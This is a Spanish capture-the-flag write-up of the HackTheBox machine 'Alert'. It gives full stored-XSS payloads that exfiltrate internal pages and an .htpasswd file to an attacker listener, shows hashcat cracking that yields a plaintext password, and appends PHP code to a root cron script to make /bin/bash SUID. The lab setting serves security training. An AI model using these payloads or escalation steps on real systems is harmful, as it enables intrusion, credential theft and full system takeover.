WriteupFácilLinux15 de enero de 202612 min de lectura

HackTheBox: Writeup de Alert

Resolución de Alert de HackTheBox: XSS almacenado en un visor de Markdown para leer archivos internos del servidor, cracking de un hash APR-MD5 y escalada abusando de permisos de escritura de grupo sobre un script ejecutado por cron como root.


Alert es una máquina Linux de dificultad fácil de HackTheBox. Su explotación combina un XSS almacenado en un visor de Markdown que permite leer archivos internos del servidor, cracking de un hash para acceder por SSH y una escalada de privilegios abusando de los permisos de escritura que tiene nuestro grupo sobre un script ejecutado por un cron de root.


1. Reconocimiento inicial

Añadimos la máquina al /etc/hosts:

echo "10.10.11.44 alert.htb" >> /etc/hosts

Escaneamos con Nmap:

sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn alert.htb -oN scan
PuertoEstadoServicioVersión
22/tcpopensshOpenSSH 9.2p1 Debian
80/tcpopenhttpApache httpd 2.4.62

Solo SSH y una web en Apache. Abrimos el navegador.


2. Enumeración web

La aplicación web es un visor de Markdown que permite subir archivos .md, visualizarlos y compartirlos con un enlace. También hay un formulario de contacto que, según el texto de la página, es revisado por un administrador.

Esto nos sugiere un escenario clásico de XSS almacenado: si conseguimos que el admin abra un archivo Markdown malicioso, podemos robarle información.


3. Explotación: XSS en Markdown para lectura de archivos

Creamos un archivo Markdown con un payload XSS que carga una URL interna y nos la exfiltra a nuestra máquina:

<script>
fetch('http://alert.htb/messages.php')
  .then(r => r.text())
  .then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>

Subimos el archivo, copiamos el enlace de compartición y lo enviamos al administrador mediante el formulario de contacto.

Nos ponemos en escucha con un servidor HTTP simple:

python3 -m http.server 8000

Al cabo de unos segundos recibimos la petición con el contenido de la página codificado en base64:

10.10.11.44 - - [15/Jan/2026] "GET /?data=PHRpdGxlPk1lc3...== HTTP/1.1" 200

Decodificamos:

echo "PHRpdGxlPk1lc3..." | base64 -d

El contenido de messages.php incluye la página interna de administración. Modificamos el payload para leer archivos más interesantes, como la configuración de Apache:

<script>
fetch('http://alert.htb/messages.php?file=/etc/apache2/sites-enabled/000-default.conf')
  .then(r => r.text())
  .then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>

En la configuración de Apache vemos que hay un virtual host adicional en el puerto 8080, accesible solo desde localhost. Apuntamos ahí:

<script>
fetch('http://localhost:8080/')
  .then(r => r.text())
  .then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>

La respuesta contiene una página de administración con autenticación HTTP básica. Leemos el archivo .htpasswd:

<script>
fetch('http://localhost:8080/.htpasswd')
  .then(r => r.text())
  .then(d => fetch('http://10.10.14.X:8000/?data=' + btoa(d)));
</script>
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

4. Cracking del hash y acceso SSH

Guardamos el hash en un archivo y lo crackeamos con Hashcat:

hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

Accedemos por SSH con las credenciales obtenidas:

ssh albert@alert.htb
cat user.txt

Flag de usuario conseguida.


5. Escalada de privilegios: cron job con permisos de grupo

Enumeramos los grupos a los que pertenece nuestro usuario:

id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

Pertenecemos al grupo management. Buscamos archivos que ese grupo pueda escribir:

find / -group management -writable 2>/dev/null
/opt/website-monitor/config/configuration.php

Comprobamos si hay algún proceso ejecutando ese archivo:

ps aux | grep php
root  /usr/bin/php /opt/website-monitor/monitor.php

El script monitor.php incluye configuration.php y lo ejecuta root periódicamente. Como podemos escribir sobre configuration.php, inyectamos código PHP malicioso:

echo '<?php exec("chmod +s /bin/bash"); ?>' >> /opt/website-monitor/config/configuration.php

Esperamos a que el cron lo ejecute (menos de un minuto) y comprobamos:

ls -la /bin/bash
-rwsr-sr-x 1 root root 1265648 /bin/bash

El bit SUID está activado. Obtenemos la shell de root:

bash -p
whoami
root
cat /root/root.txt

Resumen de técnicas utilizadas

  • Enumeración de servicios con Nmap
  • XSS almacenado en un visor de Markdown para exfiltrar contenido del servidor
  • Arbitrary file read mediante fetch desde el contexto del admin
  • Descubrimiento de virtual host interno en localhost
  • Cracking de hash APR-MD5 con Hashcat
  • Escalada de privilegios abusando de permisos de escritura de grupo sobre un script ejecutado por cron como root
Tiempo en página 0:00Lectura estimada: 12 min

Posts relacionados

WriteupFácilLinux

HackTheBox: Writeup de Cap

Resolución de la máquina Cap de HackTheBox: IDOR en un panel de capturas de red que expone credenciales FTP en texto plano y escalada de privilegios abusando de cap_setuid sobre el binario de Python.

28 de noviembre de 202510 min
WriteupFácilLinux

HackTheBox: Writeup de Chemistry

Resolución de Chemistry de HackTheBox: RCE mediante CVE-2024-23346 en pymatgen al procesar ficheros CIF maliciosos, cracking de hashes MD5 de SQLite para moverse lateralmente y escalada leyendo la clave SSH de root con path traversal en AioHTTP (CVE-2024-23334).

5 de diciembre de 202511 min
WriteupFácilLinux

HackTheBox: Writeup de TwoMillion

Resolución de TwoMillion de HackTheBox: desofuscación de JavaScript para generar un invite code, broken access control en la API para escalar a admin, command injection en la generación de VPN y escalada con CVE-2023-0386 (OverlayFS).

18 de diciembre de 202514 min